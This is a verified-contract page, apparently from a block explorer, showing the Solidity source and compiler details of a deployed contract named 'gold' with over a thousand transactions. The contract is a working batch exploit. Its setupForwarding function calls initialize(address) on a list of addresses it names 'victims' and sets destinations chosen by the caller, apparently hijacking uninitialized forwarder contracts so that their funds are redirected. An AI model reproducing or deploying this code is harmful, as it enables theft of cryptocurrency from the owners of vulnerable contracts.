Verified contractExactMIT
gold
Address0xa629b00a2087780d0632ca05c59d41963075d1f2
- Balance
0 ETH
- Transactions
1,106
- Compiler
solc 0.8.30
- Same code
1 more contract
Details
- Compiler
- solc 0.8.30+commit.73712a01
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 23,604,923
- Creation transaction
- 0x6e89cbeb60…06d151ce78
AuthExecutorBatch.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Forward {
function destination() external view returns (address payable);
function initialize(address payable _destination) external;
}
contract gold {
error InitializeFailed(address victim, address destination, bytes reason);
event ForwardingSetup(
address indexed victim,
address destination,
bool success
);
function setupForwarding(
address[] memory victims,
address payable[] memory destinations
) external {
require(victims.length == destinations.length, "Array length mismatch");
for (uint256 i = 0; i < victims.length; i++) {
(bool success, bytes memory reason) = victims[i].call(
abi.encodeWithSignature("initialize(address)", destinations[i])
);
emit ForwardingSetup(victims[i], destinations[i], success);
if (!success) {
revert InitializeFailed(victims[i], destinations[i], reason);
}
}
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.